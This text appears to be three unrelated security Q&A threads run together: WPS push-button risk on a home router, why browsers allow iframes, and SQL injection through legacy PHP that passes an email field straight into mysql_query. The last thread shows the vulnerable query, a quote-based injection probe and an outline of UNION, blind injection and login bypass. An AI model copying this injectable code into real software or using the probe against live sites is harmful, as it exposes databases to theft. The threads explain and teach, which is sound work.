I have a Netgear N600 router. It is running the latest firmware issued by Netgear for my model.

My router has a WPS button on it.

My router is in a secure location.

Here's my question:

Is my network as secure as my network password as long as I keep the WPS pin disabled, even if I keep the push-button capability of WPS enabled?

I understand, based on some things that I've read, that, when WPS first came out, there was a lot of concern about vulnerabilities of the pin-code functionality of WPS. However, it still isn't clear to me if the push-button feature of WPS is a vulnerability.

I'm asking because I'm imagining being able to combine a very secure WiFi password--one that is long, random, and of varied character sets--with the convenience of not having to type in the password on every device in my network. The imagined benefit is obvious--great security and convenience.

The short answer is your setup is relatively secure. The longer answer is there will still be vulnerabilities like devices being able to join a few minutes after the WPS push button is pushed. OR any other manufacturer flawed WPS implementation that brings other unknown risks.

So It is really better to disable WPS altogether. You should just use WPA2-PSK. It is hardly inconvenient as you only need to set up the login for each device only once. Even writing the long WPA2-PSK password on a post it and stick it to the router is more secure and almost as convenient as your current setup. Though many infosec guys will disapprove of this method. For me I save a picture of the password in my handphone and also on my desktop computer for easy reference.


Why are iframes allowed at all in modern browsers? I read a number of IT security blogs (though I'm no security expert), and it seems a significant percentage of exploits in the wild are delivered through adding malicious iframes to a hacked website, with the iframe pointing to the malicious payload.

Given this, together with the fact that I have really seen almost no legitimate iframe applications that aren't obnoxious, why are they allowed at all in modern browsers? It seems to me that a easy way to block a significant number of the drive-by attacks would be to simply disable iframe support in the browser.

Alternatively, a "click-to-load" mechanism, similar to the "click-to-flash" plugins common for many browsers would have a similar effect, without completely preventing existing sites that use iframes from working.
Alternatively, disallowing iframes that load content from another domain would probably be effective too.

I certainly don't claim that blocking iframes would solve every web-security solution, but from a cost-benefit perspective, it seems a very easy way to blok a significant number of security issues.

Given that framing is deprecated, and AJAX has origin control, iframes is pretty much the only way to embed another page into yours.

Another thing is that you can use iframes to display PDFs/etc. Sure, you can use <object> for that as well, but iframes are easier.

GMail is made from iframes. The smooth UX of GMail (you can still use it when your internet connection breaks, smooth navigation without having to reload every time) comes from iframes. Again, this could be implemented in AJAX, but it's harder.

One last thing that comes to mind is backwards compatibility. A lot of sites use iframes, and disabling it would break too many of them. Sure, click-to-enable won't cut it here, either. One of the precursors of AJAX was a trick with iframes and javascript. A lot of websites used to use that, and "click to load" will break the flow of the JS.

On the other hand, issues with iframes (CSRF, clickjacking, etc) are well known to modern developers and they can take measures to avoid that.

If you look at it, the arguments in this question could be equally applied to Java applets. Or Flash. Or PDF embedding. Or images (CSRF). Or cookies. For example, other sites can CSRF you via images. It's up to you to make sure that your  site isn't vulnerable to these.


Exploiting incorrectly escaped `mysql_query() or die(mysql_error())` to exfiltrate data? I ran across some legacy code that uses mysql_query($sql) or die(mysql_error())

Was curious and noticed that with a correctly placed " in the email input ... I am shown output from mysql_error() as a user.

  You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"email@email.com""' at line 1

mysql_query('SELECT * FROM users WHERE users_email_address = "'.$email.'") or die(mysql_error());

I was able to crash the browser with email@email.com" OR "" = ... since I'm assuming that caused an infinite loop

First part of question is ... how would I exfiltrate information with this " condition I have found? Is there a special name for it other than SQL injection that I can read more about?

Second part of question is: The mysql_error output seems like it could be advantageous for a wannabe intruder, but I am unaware of the depth of information it could provide.

First part of question is ... how would I exfiltrate information with
  this " condition I have found? Is there a special name for it other
  than SQL injection that I can read more about?

No, this is exactly SQL injection.  If the results of the query are being printed, it's possible to use UNION to mix in data from other tables that are not intended to be disclosed.  Even if the results of the query aren't printed, blind SQL injection can be used to map out the contents of the database one character at a time.  If found in a login form, authentication bypass is a possibility.

It's a complex specialty area of security; some might consider writing valid SQL queries to be hard enough on it's own without throwing the injection curve in.  There's a decent cheat sheet here, and all sorts of tutorials of varying quality available on the web.

  Second part of question is: The mysql_error output seems like it could
  be advantageous for a wannabe intruder, but I am unaware of the depth
  of information it could provide.

Firstly, it's a large flag indicating that SQL injection is possible.  But secondly, when an intruder is attempting SQL injection, having detailed error messages makes it easier for them to adapt their queries to get something that runs properly - messages like the one above pinpoint where the query went wrong.